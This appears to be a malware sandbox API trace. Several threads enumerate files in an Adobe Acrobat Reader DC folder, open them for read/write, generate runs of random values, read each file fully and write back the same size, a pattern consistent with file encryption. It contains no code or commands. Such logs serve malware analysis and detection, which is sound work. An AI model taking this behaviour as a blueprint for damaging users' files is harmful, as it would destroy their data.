	[0093.919] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", dwFileAttributes=0x20) returned 1
	[0093.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfbc
	[0093.920] GetFileSizeEx (in: hFile=0xfbc, lpFileSize=0x2eb3fe20 | out: lpFileSize=0x2eb3fe20*=0) returned 1
	[0093.920] FlushFileBuffers (hFile=0xfbc) 

Thread:
	id = 1365
	os_tid = 0x2174

	[0093.920] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak")) returned 0x20
	[0093.994] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", dwFileAttributes=0x20) returned 1
	[0093.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf8c
	[0093.995] GetFileSizeEx (in: hFile=0xf8c, lpFileSize=0x2ebbf858 | out: lpFileSize=0x2ebbf858*=0) returned 1
	[0093.995] FlushFileBuffers (hFile=0xf8c) 

Thread:
	id = 1366
	os_tid = 0x2178

	[0093.921] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt")) returned 0x20
	[0093.936] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", dwFileAttributes=0x20) returned 1
	[0093.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf88
	[0093.995] GetFileSizeEx (in: hFile=0xf88, lpFileSize=0x2ec3faf8 | out: lpFileSize=0x2ec3faf8*=27028) returned 1
	[0093.995] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x6990, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.995] ReadFile (in: hFile=0xf88, lpBuffer=0x2ec3fa7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ec3fa78, lpOverlapped=0x0 | out: lpBuffer=0x2ec3fa7c*, lpNumberOfBytesRead=0x2ec3fa78*=0x4, lpOverlapped=0x0) returned 1
	[0093.997] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0093.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c30
	[0093.997] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984898
	[0093.997] NtQuerySystemTime (in: CurrentTime=0x2ec3fa58 | out: CurrentTime=0x2ec3fa58*=132251868207284367) returned 0x0
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xa86ce8b5
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x80fcee32
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x16424659
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x15c5ae4c
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x375a8f64
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x1565ffa1
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x1376085d
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x49ba77bf
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x4799a2a1
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x62b43cd2
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x9b3051e9
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x549e0c9f
	[0093.997] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xf5fd6d06
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x2c1fcda6
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x29ef9352
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xe5237796
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x8ef5dd73
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x191d7cad
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xd11ada1f
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x4d8610d8
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xd6792eac
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xef17b800
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x93f26c1c
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x50b59a78
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x5f2a8b82
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x71f52799
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xb12f475e
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xe664cf96
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xa59b9f9
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0xa7f54dc
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x5ce4b3fd
	[0093.998] RtlRandom (in: Seed=0x2ec3fa64 | out: Seed=0x2ec3fa64) returned 0x15bab235
	[0094.007] ReadFile (in: hFile=0xf88, lpBuffer=0x4e34060, nNumberOfBytesToRead=0x6994, lpNumberOfBytesRead=0x2ec3fa54, lpOverlapped=0x0 | out: lpBuffer=0x4e34060*, lpNumberOfBytesRead=0x2ec3fa54*=0x6994, lpOverlapped=0x0) returned 1
	[0094.010] SetFilePointerEx (in: hFile=0xf88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.010] WriteFile (hFile=0xf88, lpBuffer=0x50ef8b8, nNumberOfBytesToWrite=0x6994, lpNumberOfBytesWritten=0x2ec3fa50, lpOverlapped=0x0) 

Thread:
	id = 1367
	os_tid = 0x217c

	[0093.923] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat")) returned 0x20
	[0093.978] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", dwFileAttributes=0x20) returned 1
	[0093.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa58
	[0093.994] GetFileSizeEx (in: hFile=0xa58, lpFileSize=0x2ecbf89c | out: lpFileSize=0x2ecbf89c*=0) returned 1
	[0093.994] FlushFileBuffers (hFile=0xa58) 

Thread:
	id = 1368
	os_tid = 0x2180

	[0093.923] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt")) returned 0x20
	[0093.976] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", dwFileAttributes=0x20) returned 1
	[0093.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\license.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa5c
	[0093.976] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x2ed3fefc | out: lpFileSize=0x2ed3fefc*=1691) returned 1
	[0093.976] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x697, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.976] ReadFile (in: hFile=0xa5c, lpBuffer=0x2ed3fe80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ed3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x2ed3fe80*, lpNumberOfBytesRead=0x2ed3fe7c*=0x4, lpOverlapped=0x0) returned 1
	[0093.979] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984c08
	[0093.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984bb8
	[0093.979] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984898
	[0093.979] NtQuerySystemTime (in: CurrentTime=0x2ed3fe5c | out: CurrentTime=0x2ed3fe5c*=132251868207128173) returned 0x0
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x3d713018
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xb038f5b1
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x2e8333d5
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x5e158976
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xc0b4def5
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x8a89cf22
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x6c33e7e8
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xa92b2b56
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xd640df14
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x58a35010
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xb3c534f4
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x27d3b62e
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xa72684b3
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x349daee3
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xf0e8f72b
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x1abfe41b
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x583af72d
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x9a67f77a
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x309aeab0
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x2a3b105b
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xf122c67e
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xd7518d78
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x54db00e6
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xf6db6534
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x478c4368
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x81609142
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x8b471c23
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xe40f8a25
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0xa594a82
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x4219072b
	[0093.979] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x753764d2
	[0093.980] RtlRandom (in: Seed=0x2ed3fe68 | out: Seed=0x2ed3fe68) returned 0x490cd5cd
	[0093.989] ReadFile (in: hFile=0xa5c, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0x69b, lpNumberOfBytesRead=0x2ed3fe58, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2ed3fe58*=0x69b, lpOverlapped=0x0) returned 1
	[0093.989] SetFilePointerEx (in: hFile=0xa5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.989] WriteFile (hFile=0xa5c, lpBuffer=0x4f17820, nNumberOfBytesToWrite=0x69b, lpNumberOfBytesWritten=0x2ed3fe54, lpOverlapped=0x0) 

Thread:
	id = 1369
	os_tid = 0x2184

	[0093.924] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e30378
	[0093.924] wcscpy (in: _Dest=0x4e30378, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales"
	[0093.924] wcscat (in: _Dest=0x4e30378, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\"
	[0093.924] wcscat (in: _Dest=0x4e30378, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*"
	[0093.924] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712270
	[0093.924] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*", lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8358
	[0093.975] wcscmp (_String1=".", _String2=".") returned 0
	[0093.975] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.975] wcscmp (_String1="..", _String2=".") returned 1
	[0093.975] wcscmp (_String1="..", _String2="..") returned 0
	[0093.975] FindNextFileW (in: hFindFile=0x46a8358, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1
	[0093.975] wcscmp (_String1="en-US.pak", _String2=".") returned 1
	[0093.975] wcscmp (_String1="en-US.pak", _String2="..") returned 1
	[0093.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f070
	[0093.975] wcscpy (in: _Dest=0x2d7f070, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales"
	[0093.975] wcscat (in: _Dest=0x2d7f070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\"
	[0093.975] wcscat (in: _Dest=0x2d7f070, _Source="en-US.pak" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\en-US.pak"

Thread:
	id = 1370
	os_tid = 0x2188

	[0093.925] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin")) returned 0x20
	[0094.008] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin", dwFileAttributes=0x20) returned 1
	[0094.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\natives_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\natives_blob.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf84
	[0094.008] GetFileSizeEx (in: hFile=0xf84, lpFileSize=0x2ee3fe1c | out: lpFileSize=0x2ee3fe1c*=0) returned 1
	[0094.008] FlushFileBuffers (hFile=0xf84) 

Thread:
	id = 1371
	os_tid = 0x218c

	[0093.925] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin")) returned 0x20
	[0093.975] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin", dwFileAttributes=0x20) returned 1
	[0093.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\snapshot_blob.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\snapshot_blob.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc4
	[0093.975] GetFileSizeEx (in: hFile=0xfc4, lpFileSize=0x2eebf864 | out: lpFileSize=0x2eebf864*=0) returned 1
	[0093.975] FlushFileBuffers (hFile=0xfc4) 

Thread:
	id = 1372
	os_tid = 0x2190

	[0093.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7fc40
	[0093.925] wcscpy (in: _Dest=0x2d7fc40, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn"
	[0093.925] wcscat (in: _Dest=0x2d7fc40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\"
	[0093.925] wcscat (in: _Dest=0x2d7fc40, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*"
	[0093.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47124d8
	[0093.926] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\*", lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8818
	[0093.926] wcscmp (_String1=".", _String2=".") returned 0
	[0093.926] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d7a4f3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xdaa61867, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdaa61867, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.926] wcscmp (_String1="..", _String2=".") returned 1
	[0093.926] wcscmp (_String1="..", _String2="..") returned 0
	[0093.926] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x1923f03a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0093.926] wcscmp (_String1="manifest.json", _String2=".") returned 1
	[0093.926] wcscmp (_String1="manifest.json", _String2="..") returned 1
	[0093.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2c1e0
	[0093.926] wcscpy (in: _Dest=0x4f2c1e0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn"
	[0093.926] wcscat (in: _Dest=0x4f2c1e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\"
	[0093.926] wcscat (in: _Dest=0x4f2c1e0, _Source="manifest.json" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Browser\\WCChromeExtn\\manifest.json"

Thread:
	id = 1373
	os_tid = 0x2194

	[0093.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e304a8
	[0093.926] wcscpy (in: _Dest=0x4e304a8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU"
	[0093.927] wcscat (in: _Dest=0x4e304a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\"
	[0093.927] wcscat (in: _Dest=0x4e304a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\*"
	[0093.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470eb18
